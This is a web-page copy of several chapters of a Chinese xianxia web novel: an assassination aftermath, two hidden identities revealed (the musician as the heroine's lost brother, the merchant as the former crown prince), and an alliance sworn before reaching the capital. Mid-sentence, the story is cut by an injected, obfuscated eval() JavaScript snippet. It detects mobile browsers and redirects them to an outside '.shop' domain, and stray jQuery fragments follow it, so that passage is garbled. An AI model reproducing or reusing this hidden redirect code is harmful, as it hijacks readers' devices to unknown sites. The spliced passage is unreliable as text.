阵纹淡淡隐在门框角落,像一层薄膜,把外头的吵与血腥隔开,只留屋内那点微弱的灯火与呼吸。
敖清澜推门进去,第一眼看到的仍是床上那片血。
血已经不再往外涌,可那片暗红像印在床褥上,让人一眼就能看出伤的轻重。祝君竹躺在那儿,眉心微蹙,唇色仍淡得发青,呼吸细得几乎看不见起伏。
清音昏在床侧,额角还挂着汗,手指蜷着,像还没从缝合的动作里松开。她唇边有一点淡红,是灵力透支后的血丝。
林疏星坐回床沿,仍用灵力护着两人心脉。敖清澜走到床前,伸手探了探祝君竹脉搏。
林疏星低声道:“她腹部那刀,带着寒毒。清音无碍,只是累的虚脱,已然喂她服下了回灵的丹药。”
敖清澜点头:“寒毒是妖族的阴刃。专锁丹田,逼灵力停滞,让人撑不住。”
林疏星闭了闭眼,轻声道:“阿绒说是金翅大鹏王?”
敖清澜点头道:“嗯,阿绒是妖族细作。她说……是金翅大鹏王得了她的密报,林姑娘炼化两大妖君的妖力,派人来杀。两明一暗,用偷袭得手。”
林疏星点头,手掌灵力更稳地贴住祝君竹心脉,思索片刻道:“想是看她未能将妖力化为己用,又不敢派遣高手过境,才想出的这偷袭的法子。”
敖清澜未置可否。
他看着祝君竹,胸口那股怒气虽仍在翻涌。但却已经恢复了那副温文尔雅的样子。
他抬起手,从芥子袋里取出一枚淡蓝的珠子。珠子像是凝结的水滴,光泽温润。
敖清澜把珠子按在祝君竹小腹偏侧,水性灵韵缓缓渗入,像一层潮覆盖在那道寒毒的伤痕上,所谓上善若水,以水灵浸润那寒毒,缓缓将毒素都吸附到那珠子上。
林疏星瞥了一眼那珠子,正以极缓的速度一丝一丝的变黑。
良久,祝君竹的眉心微微松了一点。
四人两坐两卧,就这么维持着。
屋里安静的令人昏昏欲睡。
隔音阵外,青蛟号仍在峡谷里行,水声贴着船腹翻卷,似乎永不停歇。除了水声,亦是同样的静谧。
不知过了多久,祝君竹的指尖轻轻动了一下。
那动极轻,却像是在黑暗中摸到了一丝光芒。
敖清澜的眼神一紧,林疏星也立刻看过去。
祝君竹的眼皮微微颤,喉间发出一点极低的气音,像在梦里喊人。
敖清澜俯身,声音低柔:“林姑娘。”
祝君竹没有回应,但呼吸似乎更平稳了一些。
敖清澜望着祝君竹,心中重新思量着今日之事,手指在袖中再次缓缓收紧。很多名字在他心中萦绕,那种把名字叫出来的冲动与谨慎理性的压抑相互博弈,令他胸中郁郁难舒。
他抬眼看林疏星。
林疏星也看他。
目光交换,似乎再次达成了共识。此刻,虽共患难,但仍非他们心中最好的“坦诚”时机。
一切,都要等祝君竹醒来再说。
20. 第十九回 倾澜露秘盟约立
青蛟号驶出天瀑峡时,夜色已如浓墨般泼洒下来。
船身贴着江水缓缓前行,水声在峡谷出口处变得开阔了些,不再是那种被两壁挤压的闷响,而是有了流淌的意味。风从北方吹来,带着天都平原特有的干燥气息,混着江水蒸发后的湿润,扑在脸上竟有几分初秋的凉。
玄字房内,灯火只点了一盏。
微小的火苗在铜盏里微微摇曳、跳动,随着船身轻晃而摆动,正如林疏星的不安与焦灼。
祝君竹是在戌时三刻醒的。
先恢复的是痛觉。小腹深处传来一阵阵钝痛,那痛不尖锐,却沉得像是有人将一块冰楔子钉进了她丹田,再缓缓搅动。寒意从伤口处蔓延开,顺着经脉往上爬,爬过腰腹,爬向胸口,让她即使在昏睡中也忍不住打了个寒颤。
然后是听觉。
隔音阵法的微鸣声首先钻进耳朵——那是一种极低频率的震动,像蝉翼在极远处振动。接着是水声,船舱外江水拍打船身的声音,被阵法过滤后变得模糊而持续。最后是呼吸声,两个不同的呼吸频率:一个略显急促,还有一个……很轻,轻得像随时会断。
她睁开眼时,视线先是模糊的。
舱顶的木纹在灯火下泛着暗黄的光泽,一道道年轮似的纹理扭曲、旋转,渐渐定格。她眨了眨眼,让意识从深潭底部一点点浮上来。
“醒了?”
声音从右侧传来,温和,沉稳,带着一种刻意压制的急切与疲惫。
祝君竹缓缓侧过头。
林疏星坐在床前一张木椅上,身子微微前倾,左臂处包扎的布条隐约透出暗红色。他的脸色在灯火下显得有些苍白,眼底有淡淡的青影,但目光依旧清亮,正一瞬不瞬地看着她。
“别急着动。”林疏星抬手,掌心虚按在她肩头,“伤口刚缝住不久,灵力也在帮你疏导寒毒,乱动会让药效不能尽其用。”
祝君竹张了张嘴,喉咙干得发紧,只发出一点气音。
林疏星会意,从旁边小几上端起一杯温水,用勺子小心舀了一勺,递到她唇边。水温正好,不烫不凉,顺着喉咙滑下去时,那股干涩才稍稍缓解。
“我……”她终于能出声,声音沙哑得像是被砂纸磨过,“怎么了?”
“你被偷袭了。”林疏星放下水杯,言简意赅,“在甲板上。两只大鹏妖明面袭击,吸引注意,一只狸猫妖藏在暗处,等你转身回舱时出手。匕首刺中小腹,刀上有寒毒。”
他的叙述没有任何修饰,每个字都像钉子,钉进现实。
祝君竹闭了闭眼。
记忆的碎片开始拼凑——甲板上的阳光,峡谷两侧的峭壁,天上盘旋的黑影,舱门口那个纤瘦的身影……还有转身时,小腹那一瞬的冰凉。
“后来呢?”她问,声音已经恢复了七八分冷静。
“大鹏妖被敖兄击杀。”林疏星说,“狸猫妖被擒。清音用五音罗织为你缝合伤口,但灵力透支昏了过去。敖兄以水灵珠吸附你体内寒毒,现在余毒已清得七七八八,但伤口太深,需要时间愈合。”
他说话时,目光始终落在她脸上,观察着她的反应。
祝君竹静静地听着,脸上没有任何表情。只有当她听到“清音昏了过去”时,眼睫才轻微地颤了一下。
“清音在哪?”她问。
“在旁边榻上。”林疏星侧身,让她能看到舱室另一侧的小榻。清音蜷缩在那里,盖着薄毯,呼吸平稳,显然还在沉睡。“她没事,只是灵力耗尽,睡一觉就好了。”
祝君竹的目光在清音身上停留片刻,又转回林疏星脸上。
“敖兄呢?”她问。
林疏星没有立刻回答。他站起身,走到舱窗边。窗外是沉沉的夜色,远处有零星的灯火,那是天都外港的渔火和码头上的灯笼。江风从窗缝钻进来,吹得灯火一跳。
“他出去许久了,他说有些事情需要与金鳞交代。”他背对着她说,声音很轻,“那只狸猫妖,他审问过了。”
祝君竹盯着他的背影。
一起经历了许多事,她开始了解林疏星了——了解他说话时每一个细微的停顿,了解他思考时手指无意识的摩挲,了解他隐瞒什么时会不自觉地移开视线。此刻,他站在窗边的姿态看似放松,肩线却绷得笔直。
“怎么审的?”她问。
林疏星转过身。
灯火在他脸上投下明暗交错的光影,让他的神情显得格外深沉。他走回床前,重新坐下,这一次,他的目光不再只是关切,而是多了些别的东西——一种审视,一种权衡,一种即将摊牌的决断。
“祝姑娘。”他忽然换了称呼,不再是平日里假扮兄妹时温和的“小竹”,而是更正式、更疏离的“祝姑娘”,“有些事,我想等你醒来,亲自确认。”
祝君竹的心往下沉了沉。
“你说。”她道。
林疏星深吸一口气,缓缓开口:“你昏迷后,敖兄独自下到底舱,审问那只狸猫妖——她叫阿绒。我跟了下去,感觉到底舱传来的灵力波动。”
他顿了顿,似乎在斟酌用词。
“那波动很特殊。”他说,“阴冷,锐利,杀伐气息很浓。不像寻常的逼供手段,倒像是……硬生生撬开人的意识,把藏在深处的记忆拖出来。”
祝君竹的瞳孔微微收缩。
“我记得你跟我说过一种这样的秘法,叫搜魂术?”她低声问。
林疏星点头:“不止是搜魂。是玄心监搜魂司的不传之秘——‘搜魂摄魄’。此术修习极难,非核心嫡系不可得,动用时对施术者损耗也极大。敖兄一路以来,以乐师身份示人,温文尔雅,奏曲安神,从未显露过半点这等狠戾手段。”
他的语气很平静,但每个字都像锤子,一下下敲在祝君竹心上。
她想起敖清澜——那个总是一身素衣、眉目温和的蛟人乐师,想起他奏潮音贝时周身流转的水性灵韵,想起他说话时总是带着三分试探七分谨慎的语气。那样一个人,会用“搜魂摄魄”这种近乎邪术的禁法?
“你怀疑他,才跟下去的?”祝君竹的语气并非疑问,而是确定陈述。
“不是怀疑。”林疏星摇头,“是确认。确认他绝非表面看起来那么简单,他在暴怒之下审问,或许是解开他身份之谜的最好契机。我虽答应他互不打听,但若是撞见了便也不算背信违约。”
他身体前倾,灯火在他眼中跳动。
“祝姑娘,你可知道,多年前,定岳王世子江倾川初入朝廷时,被安排进的正是玄心监搜魂司?”
这句话像一道惊雷,劈开了舱内沉闷的空气。
祝君竹的心脏猛地一跳。
江倾川。
这个名字在清音的讲述里,在那些破碎的记忆碎片里。定岳王世子,江浅月的兄长,定岳王府覆灭前被送往龙族疗伤,后因伤势过重,不治身亡,魂归星海……这是在边境的蛟人聚集地听来的消息。
而现在,林疏星将这个名字,却和敖清澜联系在了一起。
“你什么意思?”她的声音有些发紧。
“我的意思是,”林疏星一字一顿,“一个会玄心监搜魂司秘术的蛟人乐师,一个主动在蛟人聚集地找上门来要与我们同行、一个对你的关心超乎寻常、暗中探查你体内异常能量、言语中不断的试探、甚至在你昏迷时流露出超乎寻常的愤怒与焦虑的人——如果这些线索还不足以拼出一个答案,那我这些年所读的书,都算是白读了。”
他转身走到舱室中央。
灯火将他的影子投在舱壁上,拉得很长。
“我在等你醒来,祝姑娘。”他说,“因为接下来我要做的事,需要你清醒地见证,也需要你清醒地抉择。”
话音未落,舱门被轻轻推开。
敖清澜站在门口。
他依旧穿着那身素色长袍,发丝束得整齐,脸上甚至带着惯常的温和表情。但祝君竹一眼就看出了不同——他的眼底有一种深沉的疲惫,那种疲惫不是身体上的,而是灵魂被什么东西狠狠撕扯过后的倦怠。
更重要的是,他给祝君竹的感觉变了。虽然变化很细微,但她对气息的感知极其敏锐,绝不会错。虽然表面上他还是那种平日里的温文尔雅的样子,但气息中却不再有那种如水般温润平和的灵韵,而是多了一种锐利,一种阴冷,一种……血腥味。
那大约是动用过“搜魂摄魄”后,残留在施术者身上的印记。
“林兄。”敖清澜先开口,声音有些沙哑,“林姑娘醒了?”
“刚醒。”林疏星转过身,面对着他,“事情交代完了?”
“嗯,交代完了。”敖清澜走进舱内,随手关上舱门。隔音阵法的微光在他身后闭合,将内外彻底隔绝。“今天的事,不能透露出去,凡是在场的,知情的,金鳞说自有方法让这些人闭嘴,无需我们担心。”
他在舱室中央站定,目光先落在祝君竹脸上,仔细打量她的气色,确认她真的醒了,这才微微松了口气。但那份放松只持续了一瞬,很快又被更深的东西取代。
那是一种复杂的情绪——有关切,有愧疚,有挣扎,还有一种近乎破釜沉舟的决绝。
“月……呃……姑娘感觉如何?”他问,语气还是温和的,但那份温和里透着一股紧绷。
“放心,一时间还死不了。”祝君竹自我调侃似的回答,“听说敖兄审了刺客,又为我疗伤,当真有劳了,不胜感激。”
“分内之事。”敖清澜说,却避开了她的目光。
舱内陷入短暂的沉默。
三个人,三种心思,在昏黄的灯火下无声交锋。
最后还是林疏星打破了沉默。
“敖兄。”他开口,声音平稳得像是在讨论天气,“底舱的审问时的灵力波动,若我所感不差,是‘搜魂摄魄’?”
他问得直接,没有任何迂回。
敖清澜的身体几不可察地僵了一下。
他没有立刻回答,而是抬眼看向林疏星。两人的目光在空中交汇,像两把未出鞘的刀,在暗处试探彼此的锋芒。
“是。”良久,敖清澜吐出这个字。
承认得干脆利落,反而让林疏星微微一愣。
“玄心监搜魂司的不传之秘。”林疏星继续道,“修习此术者,需先立血誓,终生效忠仙朝,效忠玄心监。且此术对神魂损耗极大,寻常人动用一次,少则修养三月,多则伤及根基。敖兄一路以来深藏不露,今日却甘冒此险……”
他顿了顿,目光如炬:“为什么?”
敖清澜没有立刻回答。
他走到窗边,望着窗外沉沉的夜色。远处天都的灯火在黑暗中连成一片模糊的光晕,像一只蛰伏的巨兽睁开了眼。
“因为等不及了。”他说,声音很轻,却带着一种沉重的分量,“刺客已经找上门,下一次袭击不知何时会来。若不能尽快知道他们是谁、为何而来、背后还有多少人,怕我们到了天都,就是自投罗网。”
“所以你就用了搜魂。”林疏星道,“不惜暴露身份,不惜损耗神魂。”
“是。”敖清澜转身,面对他,“林公子既然知道此术,想必也清楚,动用此术者,必是玄心监搜魂司核心之人。你此刻问我‘为什么’,不如直接问我——我到底是谁?”
他把问题抛了回来。
舱内的空气几乎凝固。
祝君竹躺在床上,静静地看着这一幕。她没有插话,只是观察——观察敖清澜每一个细微的表情,观察林疏星每一个克制的反应。她的大脑在飞速运转,将所有的线索拼凑、重组。
林疏星刚才那句话在她脑中回响:“多年前,定岳王世子江倾川初入朝廷时,被安排进的正是玄心监搜魂司……”
而现在,敖清澜会搜魂术。
敖清澜关注他们天都之行的安危。
敖清澜对她的态度复杂难明。
敖清澜……
她闭上眼睛,深深吸了一口气。
再睁开时,眼中已是一片清明。
“林公子。”她忽然开口,声音虽然虚弱,却异常坚定,“你方才说,你在等我醒来,需要我清醒地见证一件事。现在,是时候了。”
她看向林疏星,又看向敖清澜。
“你们二人,一个话里有话,一个欲言又止。既然都到了这个地步,不如摊开来说。”她说,“敖兄到底是谁,林公子又猜到了什么,不如一次说清楚。这般猜来猜去,徒耗心力。”
她这番话,让两个男人都怔了怔。
林疏星看着她,眼中闪过一丝赞许。敖清澜则抿紧了唇,手指在袖中收紧。
“好。”林疏星点头,“既然祝姑娘这么说,那我就直说了。”
他转向敖清澜,目光如刀。
“敖兄,据我所知,定岳王世子江倾川年少时便展现出极高的神魂天赋,入朝后直接被安排进玄心监搜魂司,修习的正是‘搜魂摄魄’一脉秘术。此外,多年前定岳王府覆灭前,世子被送往龙族疗伤,后来传出他伤重不治,魂归星海的消息。但,在我看来这‘伤重不治’的消息怕是故布迷障,假死以求自保的。”
他一字一顿:“而敖兄今日所用之术,无论手法、气息、还是后续的神魂波动,都与玄心监搜魂司的路数一般无二。更巧的是,敖兄对祝姑娘的异常关注。”
他顿了顿,声音压低了几分。
“这些线索单独看,或许只是巧合。但放在一起,拼出的图案就太清晰了。”他看着敖清澜,“敖兄,或者说——江世子,你还要继续瞒下去吗?今日你在甲板上用的那一柄戟,该是叫做‘朔月龙骧戟’罢?”
“江世子”三个字出口的瞬间,舱内的灯火猛地一跳。
敖清澜——不,现在该叫他江倾川了——站在原地,一动不动。他的脸上没有任何表情,但那是一种极力压制后的空白。他的眼底有暗流汹涌,有痛楚翻腾,有什么东西在那一刻彻底破碎,又有什么东西从碎片中挣扎着站了起来。
良久,他缓缓吐出一口气。
那口气很长,很沉,像是把压在心里多年的重量,一点点吐出来。
“林兄。”他开口,声音沙哑得厉害,“你猜得没错。”
江倾川,他竟如此简单,如此干脆地承认了。
祝君竹看着那个站在窗边的身影——那个一路以来温和有礼、奏曲安神、总带着三分疏离七分试探的蛟人乐师。此刻他卸下了所有伪装,挺直了脊背,周身的气息不再掩饰,属于江倾川的、属于定岳王世子的、属于那个在血与火中挣扎求存了多年的复仇者的气场,缓缓弥漫开来。
“我正是江倾川。”他说,每个字都像从齿缝里挤出来,“定岳王之子,宸月公主江浅月的兄长。我在东海养伤,得知王府覆灭,在那场蓄谋已久针对父王的构陷中,我本该返回仙朝与父王同生共死,但父王应是早有筹谋。他坚信月儿还活着,我们兄妹终有相聚之日。江家的血脉,不能就此断绝。这样,我才苟延残喘的活了下来。”
他转过身,面向祝君竹。
这一次,他的目光不再闪躲,不再掩饰。那目光里有关切,有愧疚,有多年积压的痛苦,还有一种近乎绝望的期待。
“月儿。”他唤出这个名字,声音颤抖,“从在聚集地开始,你那说话时的语气,那不时就会脱口而出的‘不妨事’,我就一直怀疑是你。还有清音,虽然容貌全非,但她的性子,看你的眼神,护你的姿态,和当年一模一样。”
他往前走了一步。
“可我害怕。我前路凶险,不得不慎之又慎。直到那夜,林兄前来寻我施以援手。既然是君子协定,互不相问,我何乐而不为?借此时机,探一探你们虚实,再好不过。我答应他,与他击掌为誓,见你御物离去,我化作蛟身,负着他潜入水底尾随至江阳。直到我看到你的枪,才真正确认是你。”
祝君竹望向林疏星,他点了点头,表示所言不虚。
江倾川说着声音却低了下去,“但确认了是你,又能如何?我怕这又是另一个陷阱。怕你被他们派来的棋子所蒙骗,怕清音也已不是当年的清音,怕这位林公子——”他看向林疏星,“是幕后黑手安插在你身边的眼线。我失去的太多了,不敢再赌,不敢再轻易相信任何人。”
他的手指攥紧,指甲陷进掌心。
“所以我一路跟随,一路试探,一路观察。直到今日,我看到林兄为了你不顾性命以身挡刀——第一次在江阳,第二次在甲板上船舱门口。两次都是生死关头,两次都是毫不犹豫。一个肯为你舍命的人,绝非敌人。”
他深吸一口气。
“直到今日,刺客来袭,你重伤垂危,清音灵力耗尽,林兄也伤痕累累。而我……”他苦笑,“我也无需再怕暴露了身份,用搜魂术,损耗了神魂。我们都已无路可退,也都已付出了代价。若再不拿出些坦诚的态度来,怕是下一次袭击来时,我们或许连并肩作战的机会都没有。”
他说完了。
舱内一片死寂。
只有灯火噼啪作响,江水流淌不息。
祝君竹躺在床上,看着江倾川,看着这个自称是她兄长的男人。她的脑中一片混乱——那些破碎的记忆碎片在翻腾,在碰撞,试图拼凑出一个完整的画面。梨花树下的少年,青玉长笛,温暖的笑脸,“月儿,想兄长时就吹笛”……
那些画面一闪而过,抓不住,留不下。
但她的心在痛。
一种陌生的、却又无比熟悉的痛楚,从灵魂深处涌上来,淹没了她。她不知道那痛楚从何而来,但她知道,眼前这个人说的话,是真的。
“我……”她张了张嘴,却不知道该说什么。
就在这时,旁边榻上传来一声嘤咛。
清音醒了。
她揉着眼睛坐起来,先是茫然地看了看四周,目光落在祝君竹身上时,立刻清醒了:“小姐!你醒了!”
她跳下榻,踉跄着扑到床边,抓住祝君竹的手,眼泪一下子就涌了出来:“小姐你吓死我了!那一刀……那一刀那么深……我以为……我以为……”
她哭得说不出话。
祝君竹反握住她的手,轻声安慰:“我不妨事,清音。多亏了你,伤口才缝住。”
清音哭了好一会儿,才抽噎着抬起头。这时她才注意到舱内的气氛不对——林疏星站在床尾,神色凝重。敖清澜站在窗边,脸上是她从未见过的、近乎破碎的表情。
“怎么了?”她茫然地问,“发生什么事了?”
江倾川看着她,眼神复杂。
“清音。”他开口,“你还认得我吗?”
清音愣住了。
她仔细打量着江倾川,从眉眼到身形,看了很久说道。“你不是敖先生吗?我怎会不认得你?怎么了吗?你们怎么都怪怪的?”
“他是定岳王世子,江倾川。”祝君竹缓缓的说道。
清音眼中渐渐浮起疑惑,接着是震惊,最后是难以置信的狂喜。
“你……你是……”她的声音颤抖,“世子?公子?”
江倾川点头:“是我。”
清音的眼泪又涌了出来,但这次是喜悦的泪水。她想扑过去,又生生止住,转头看看祝君竹,又看看江倾川,手足无措。
“可是……可是你的样子……”她语无伦次,“你怎么变成这样了?还有小姐……对……小姐她也不一样了,还有我……我也是……不一样了……”
她忽然想起什么,急切地解释道:“世子,我当年没有死!我逃了出来,但伤势太重,神魂快要散了。正好遇到一只白鹿,我就……我就用秘法把神魂附了上去。修炼了二十多年,才重新修出人形。所以我的样子也变了,完全不是从前了。”
她说着,又哭又笑:“可我还是清音啊!我心里记得小姐,记得王爷王妃,记得世子你!我一直都在找小姐,找了这么多年……”
江倾川听着,眼中闪过痛楚。
“我知道。”他哑声道,“我早该想到的。只是……只是我太怕了,怕希望落空,怕又是一场空欢喜。”
清音用力摇头:“不是空欢喜!是真的!小姐虽然不记得以前的事了,但她就是小姐!我能感觉到!”
她转向祝君竹,急切地说:“小姐,你快告诉世子,你就是小姐!你就是江浅月!”
祝君竹看着江倾川,又看向清音,微笑着说道:“他已经知道了。”
她的脑中,那些记忆碎片还在翻腾。但这一次,有了一些清晰的片段——王府的演武场,一个少年在教小女孩练枪;书房里,兄妹二人对坐着读书;月夜下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998685|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
少年吹笛,小女孩托腮聆听……
还有那支青玉长笛。
她缓缓抬起手,指向江倾川仍插在腰间的笛子。
“那支笛子……”她轻声说,“梨花树下,你送我的。你说,想兄长时,就吹笛。千里之外,你也听得见。”
江倾川的身体猛地一震。
他取出那支青玉长笛,双手捧着,像是捧着什么易碎的珍宝。
“你记得?”他的声音在颤抖。
“记得一些碎片。”祝君竹说,“不完整,像……像隔着一层水雾在看,看不真切。但我记得这支笛子,记得你说的话。”
她顿了顿,目光落在他手臂上那些若隐若现的鳞片,眼中泛起泪光。
“化蛟之术……热泉焚身,毒蚀脏腑,百日酷刑,百不存一。你说那些时,语气那么平静,可我现在想起来……”
她的声音哽住了。
因为那一刻,她忽然“感受”到了。
不是记忆,而是一种共情——仿佛那些痛苦,那些在滚烫泉水中皮开肉绽的痛苦,那些被剧毒侵蚀五脏六腑的痛苦,那些在生死边缘挣扎百日的痛苦,都透过某种无形的纽带,传递到了她身上。
她看到了。
看到了一个人为了改头换面褪去人躯,在万丈海沟的热泉中哀嚎。看到了他在剧痛中保持清醒,运转功法对抗沸腾的泉水和侵入的毒素。看到了百日之后,他拖着半人半蛟的身躯从泉中爬出,浑身是伤,眼中却燃烧着仇恨的火焰。
那些画面如此真实,如此清晰,像是她亲身经历过一般。
泪水毫无征兆地滚落。
“兄长……”她哽咽着,终于唤出了这个称呼。
这一声“兄长”,让江倾川彻底崩溃了。
多年的隐忍,多年的伪装,多年在黑暗中独自前行的孤独与痛苦,在这一刻决堤而出。他踉跄着扑到床边,握住祝君竹的手,额头抵在床沿,肩膀剧烈颤抖,却发不出一点声音。
男儿有泪不轻弹,只是未到伤心处。
清音在一旁早已哭成了泪人。林疏星默默转过身,望向窗外,留给三人一点私密的空间。
良久,江倾川才抬起头。
他的眼眶通红,脸上还有未干的泪痕,但眼神已经重新变得坚定。
“月儿……”他哑声说,“我等这一天已经等待太久了……”
祝君竹含泪点头。
她还有很多不明白——为什么江浅月会变成祝君竹,为什么会去另一个世界,为什么会带着两大妖力回来。但此刻,那些问题都不重要了。重要的是,她找到了兄长,找到了来处,找到了在这个陌生世界里,第一份真实的、血脉相连的归属。
“我现在叫祝君竹,应该算是江浅月的转世之人。”她轻声说,“记忆还在融合,江浅月的记忆,在慢慢苏醒。现在我也不清楚,我究竟是江浅月还是祝君竹。我很担心,江浅月的记忆全部苏醒后,是否还会有祝君竹。我需要一点时间慢慢适应。”
“多久都可以。”江倾川握紧她的手,“这么多年我都等了,不差这些时日。”
清音在一旁用力点头。
舱内的气氛终于缓和下来,那种剑拔弩张的紧绷感消失了,取而代之的是一种历经劫难后的疲惫,以及劫后余生的庆幸。
林疏星这时才转过身。
他看着床边的三人,眼中闪过一丝复杂的神色——有关切,有欣慰,也有一丝不易察觉的落寞。但很快,那落寞就被坚定取代。
“既然身份都已挑明,”他开口,声音恢复了往日的平稳,“那么接下来,该谈谈正事了。”
江倾川松开祝君竹的手,站起身,面向林疏星。
“林兄。”他郑重行礼,“方才情急,多有失礼。还未正式谢过你两次相救舍妹之恩。”
林疏星摆手:“不必。我与祝姑娘同行多日,早已是生死与共的伙伴。救她,是分内之事。”
他顿了顿,看向江倾川,又看向祝君竹。
“但既然话说到这个份上,我也不再隐瞒。”他说,“我并非寻常商人。我的真名,是凌炽阳。”
这个名字出口的瞬间,江倾川的瞳孔骤然收缩。
凌炽阳。
玄枢仙朝前太子,多年前在苏罗边境“战死”的储君。
这个名字,在仙朝境内几乎是禁忌。人们提起时,总要压低声音,左右张望,生怕惹祸上身。谁也没想到,那个本该躺在皇陵里的太子,竟然化名林疏星,隐于边境,一路与他们同行至此。
“你……”江倾川的声音有些发紧,“你是太子殿下?”
“曾经是。”林疏星——或者说,凌炽阳——神色平静,“现在只是一个想查清真相的普通人。当年云门关外那场‘战死’,是精心设计的截杀。我侥幸逃生,心灰意冷,化名林疏星,隐于苏罗边境。谁知却被令妹砸穿了我的屋顶……清音因与她有‘神魂之契’来寻他,谁知却引来了玄影监的暗探。我被他看到面貌,不得不弃了隐居的小院,带着她二人逃命。既然天命如此,我只好返回天都来查清楚,查当年是谁要我的命,查那场截杀背后,到底藏着什么。”
他看向江倾川,目光如炬。
“而今日听到江世子的故事,我忽然明白了一件事。”他说,“多年前,太子‘战死’苏罗边境;同一年,定岳王府被污为叛逆,满门覆灭。这两件事看似毫无关联,但发生的时间太巧,都是灭口,怕都是想要让某个真相永远埋藏。”
他走到舱室中央,灯火在他脸上投下深邃的阴影。
“我在想,或许我们查的,可能是同一件事。”他缓缓道,“或许‘太子遇害’和‘定岳王冤案’,只是某个更大阴谋的两个环节。而那幕后黑手要的,不止是太子的命,不止是定岳王的兵权,还有……其他更大的目标,可能是……”
他顿了顿,没有说下去。
但所有人都明白他的未尽之言。
可能是整个仙朝,甚至整个须尘界。
舱内再次陷入沉默。
这一次的沉默,比之前任何一次都要沉重。因为这一次,他们面对的不仅仅是个人恩怨,而是一个可能撼动整个仙朝根基的惊天阴谋。
良久,祝君竹开口。
她的声音还有些虚弱,但语气异常坚定。
“我不管幕后黑手是谁,也不管他要的是什么。”她说,“我只想知道,当年江浅月是被谁所害?为什么会从这个世界消失,去了另一个世界?我又是怎么获得了两大妖君的妖力,又是怎么回来的?这一切的根源究竟是什么。”
她看向江倾川。
“兄长要查清定岳王府被构陷的真相,找出幕后主使,为家族昭雪,复仇。”
她又看向林疏星。
“林公子要查明当年云门关截杀的真相,找出真凶。”
“而我们三人要查的事,很可能指向同一个方向,同一个敌人。”
她深吸一口气,撑着想坐起来。清音连忙扶住她,在她身后垫上枕头。
“既如此,”祝君竹看着两人,一字一顿,“不如我们就把这三件事放在一起查。”
“信息共享,行动互助。所有线索互通有无,所有行动彼此照应。直至一切水落石出,真相大白,大仇得报。”
她说得干脆利落,没有任何犹豫。
江倾川看着她,眼中闪过欣慰——他的妹妹,哪怕记忆不全,哪怕经历了这么多磨难,骨子里的那份果决和担当,一点没变。
“我同意。”他说,“从今日起,我江倾川与二位,生死与共,祸福同当。”
林疏星也点头:“正合我意。”
三人的目光在空中交汇,无需歃血为盟,无需焚香起誓,一种无形的、比任何契约都要坚固的纽带,在那一刻悄然结成。
然而就在这时,祝君竹的脸色忽然一变。
她抬手按住太阳穴,眉头紧皱,脸上露出痛苦的神色。
“小姐?”清音慌了,“你怎么了?”
“头……头痛……”祝君竹咬着牙,额角渗出冷汗,“记忆……在冲撞……太多了……”
那些被唤醒的记忆碎片,那些属于江浅月的人生,那些属于祝君竹的二十多年经历,此刻像两股洪流,在她的意识中激烈碰撞。每一次碰撞,都带来剧烈的头痛,像有无数根针在同时刺扎她的神经。
江倾川立刻上前,想用潮音贝帮她疏导。
“别……”祝君竹抬手制止,“你们……灵力都未恢复……不能再耗……”
她看向清音,又看向江倾川,勉强挤出一个笑容。
“我……我需要时间……消化这些……”她断断续续地说,“让我……自己来……这次昏迷……让我忽然发现了一个能好好睡觉的好方法……”她嘴角微微扬起。
说罢,她闭上眼,深吸一口气,强行凝聚起一丝灵力。
那灵力很微弱,但足够做一件事。
她将那丝灵力引向自己的灵台,然后——轻轻一震。
闷哼一声,她头一歪,再次陷入昏迷。
但这一次的昏迷,是她主动选择的——让身体进入最深层的休眠状态,让意识沉入神魂深处,去面对、去整理、去融合那两段交错的人生。
“小姐!”清音惊呼。
江倾川连忙探她的脉搏,又试她的呼吸,确认她只是陷入深眠,这才松了口气。
“她没事。”他说,“只是用灵力震晕了自己,这样反而有利于记忆融合和身体恢复。”
清音这才放下心,但还是紧紧握着祝君竹的手,不肯松开。
林疏星走到床边,看着祝君竹苍白的睡颜,沉默良久。
“让她睡吧。”他轻声说,“明日船就到天都了。到了那里,才是真正的战场。”
江倾川点头。
他望向窗外,夜色正浓,天都的灯火在远处明明灭灭,像一只巨兽的眼睛,在黑暗中静静等待着。
二十余年了。
他终于不再是孤身一人。
他终于等回了妹妹,也等来了盟友。
而前方等待他们的,是比万丈海沟更凶险的漩涡,是比热泉焚身更残酷的考验。
但他无所畏惧。
因为这一次,有人并肩。
21.第二十回 陋巷除凶记忆更
天光初透时,青蛟号缓缓靠上了天都外港的丙字号码头。
船身与木制栈桥碰撞时发出沉闷的响声,惊起了桅杆上歇脚的水鸟。雾气尚未完全散去,将港口笼罩在一片灰蒙蒙的湿意里。远处城郭的轮廓在雾中若隐若现,像是巨兽蛰伏的脊背,沉重而威严。
祝君竹靠在床头望着窗外,脸色仍有些苍白。
腹部的伤口经过一夜的休养,疼痛已经转为深沉的钝感,像是有人在她体内埋了一块不会融化的冰。但更让她心神不宁的,是脑海中那些翻涌不休的碎片——属于江浅月的人生,与属于祝君竹的二十余载记忆,像两条原本平行的河流,如今被强行并到了一处,相互冲刷,相互争夺河床。
“在看什么?”
林疏星的声音从旁传来。
他换了一身普通的青色长袍,头发用木簪束起,一副寻常行商的打扮。
“看那座城。”祝君竹没有回头,目光仍落在雾中的天都轮廓上,“比我想象的……更沉重。”
“天都从来如此。”林疏星走到她身侧,也望向远方,“表面繁华似锦,内里盘根错节,激流暗涌。在这里,三思而后行,凡事须留退路。”
他说得很平静,但祝君竹听出了那份沉重。
多年前,他就是从这座城里以“出征平叛”离去的。如今化名归来,要面对的不仅是昔日的敌人,还有这座城本身——这座吞噬了无数秘密、埋葬了无数亡魂的巨兽。
“清音呢?”祝君竹问。
“在收拾行李。”林疏星说,“敖兄在舱内等我们,有些话要说。”
他顿了顿,压低声音:“记住,我还是林青,你还是林竹。他依旧是敖清澜。无论私下如何,在人前,我们都是这个身份。这事我已经叮嘱过清音了。”
祝君竹点头。
